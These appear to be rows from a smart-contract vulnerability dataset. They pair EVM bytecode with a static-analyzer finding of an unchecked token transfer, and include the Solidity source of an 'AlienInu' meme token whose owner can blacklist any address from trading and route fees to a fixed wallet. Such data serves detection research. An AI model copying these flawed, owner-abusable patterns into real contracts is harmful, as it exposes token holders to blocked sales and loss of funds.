0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e578063095ea7b3146101dc57806316114acd1461023657806318160ddd1461026f57806323b872dd14610298578063313ce5671461031157806342966c681461033a57806345977d031461035d5780634eee966f146103805780635de4ccb014610420578063600440cb1461047557806370a08231146104ca5780638444b391146105175780638da5cb5b1461054e57806395d89b41146105a35780639738968c14610631578063a9059cbb1461065e578063c45d19db146106b8578063c752ff6214610705578063d7e7088a1461072e578063dd62ed3e14610767578063eefa597b146107d3578063f2fde38b14610800578063fccc281314610839578063ffeb7d751461088e575b600080fd5b341561015957600080fd5b6101616108c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a1578082015181840152602081019050610186565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e757600080fd5b61021c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610965565b604051808215151515815260200191505060405180910390f35b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610aec565b005b341561027a57600080fd5b610282610c3a565b6040518082815260200191505060405180910390f35b34156102a357600080fd5b6102f7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c40565b604051808215151515815260200191505060405180910390f35b341561031c57600080fd5b610324610ef0565b6040518082815260200191505060405180910390f35b341561034557600080fd5b61035b6004808035906020019091905050610ef6565b005b341561036857600080fd5b61037e6004808035906020019091905050611080565b005b341561038b57600080fd5b61041e600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061130d565b005b341561042b57600080fd5b6104336114e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048057600080fd5b610488611506565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104d557600080fd5b610501600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061152c565b6040518082815260200191505060405180910390f35b341561052257600080fd5b61052a611575565b6040518082600481111561053a57fe5b60ff16815260200191505060405180910390f35b341561055957600080fd5b6105616115f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105ae57600080fd5b6105b6611619565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f65780820151818401526020810190506105db565b50505050905090810190601f1680156106235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063c57600080fd5b6106446116b7565b604051808215151515815260200191505060405180910390f35b341561066957600080fd5b61069e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116c0565b604051808215151515815260200191505060405180910390f35b34156106c357600080fd5b6106ef600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d4565b6040518082815260200191505060405180910390f35b341561071057600080fd5b61071861179b565b6040518082815260200191505060405180910390f35b341561073957600080fd5b610765600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117a1565b005b341561077257600080fd5b6107bd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a93565b6040518082815260200191505060405180910390f35b34156107de57600080fd5b6107e6611b1a565b604051808215151515815260200191505060405180910390f35b341561080b57600080fd5b610837600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b23565b005b341561084457600080fd5b61084c611bfd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561089957600080fd5b6108c5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c02565b005b60078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095d5780601f106109325761010080835404028352916020019161095d565b820191906000526020600020905b81548152906001019060200180831161094057829003601f168201915b505050505081565b6000808214806109f157506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156109fc57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b8e846116d4565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610c1b57600080fd5b6102c65a03f11515610c2c57600080fd5b505050604051805190505050565b60015481565b600080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610d1483600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da983600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dff8382611ce490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60095481565b6000339050610f4d82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fa582600154611ce490919063ffffffff16565b6001819055507f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df78183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600061108a611575565b90506003600481111561109957fe5b8160048111156110a557fe5b14806110c657506004808111156110b857fe5b8160048111156110c457fe5b145b15156110d157600080fd5b60008214156110df57600080fd5b61113182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118982600154611ce490919063ffffffff16565b6001819055506111a482600654611cc690919063ffffffff16565b600681905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663753e88e533846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561126e57600080fd5b6102c65a03f1151561127f57600080fd5b505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac846040518082815260200191505060405180910390a35050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136957600080fd5b816007908051906020019061137f929190611e98565b508060089080519060200190611396929190611e98565b507fd131ab1e6f279deea74e13a18477e13e2107deb6dc8ae955648948be5841fb46600760086040518080602001806020018381038352858181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156114495780601f1061141e57610100808354040283529160200191611449565b820191906000526020600020905b81548152906001019060200180831161142c57829003601f168201915b50508381038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156114cc5780601f106114a1576101008083540402835291602001916114cc565b820191906000526020600020905b8154815290600101906020018083116114af57829003601f168201915b505094505050505060405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061157f6116b7565b151561158e57600190506115f1565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115d857600290506115f1565b600060065414156115ec57600390506115f1565b600490505b90565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116af5780601f10611684576101008083540402835291602001916116af565b820191906000526020600020905b81548152906001019060200180831161169257829003601f168201915b505050505081565b60006001905090565b60006116cc8383611cfd565b905092915050565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561177957600080fd5b6102c65a03f1151561178a57600080fd5b505050604051805190509050919050565b60065481565b6117a96116b7565b15156117b457600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614156117d857600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183457600080fd5b60048081111561184057fe5b611848611575565b600481111561185357fe5b141561185e57600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166361d3d7a66000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561192d57600080fd5b6102c65a03f1151561193e57600080fd5b50505060405180519050151561195357600080fd5b600154600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b2ba0dd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156119e457600080fd5b6102c65a03f115156119f557600080fd5b50505060405180519050141515611a0b57600080fd5b7f7845d5aa74cc410e35571258d954f23b82276e160fe8c188fa80566580f279cc600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611bba57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081565b60008173ffffffffffffffffffffffffffffffffffffffff161415611c2657600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8257600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515611cda57fe5b8091505092915050565b6000828211151515611cf257fe5b818303905092915050565b6000611d5182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ed957805160ff1916838001178555611f07565b82800160010185558215611f07579182015b82811115611f06578251825591602001919060010190611eeb565b5b509050611f149190611f18565b5090565b611f3a91905b80821115611f36576000816000905550600101611f1e565b5090565b905600a165627a7a723058207ed757aac8b327149451d106d40a00d7fcb04f0afb021e0b196ebf46a44b1e520029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,281
0xcf45999523ca5846d4f1dbeb6a043ca465acc1ff
/** AlienInu Telegram: https://t.me/alienInuToken Website: Alieninutoken.com */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AlienInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "AlienInu"; string private constant _symbol = "AlienInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xB0000FaBa5A151bf098FD8303A1DF0FF37691C74); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(20).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612763565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061282d565b6104b4565b60405161018e9190612888565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128b2565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a15565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a5e565b61060c565b60405161021f9190612888565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612ab1565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612afa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b41565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b6e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612ab1565b6109db565b60405161031991906128b2565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612baa565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612763565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061282d565b610c9a565b6040516103da9190612888565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b6e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bc5565b611378565b60405161046e91906128b2565b60405180910390f35b60606040518060400160405280600881526020017f416c69656e496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113ff565b8484611407565b6001905092915050565b600067016345785d8a0000905090565b6104ea6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c51565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612ccf565b91505061057a565b5050565b60006106198484846115d0565b6106da846106256113ff565b6106d58560405180606001604052806028815260200161370660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c619092919063ffffffff16565b611407565b600190509392505050565b6106ed6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c51565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c51565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c51565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113ff565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffff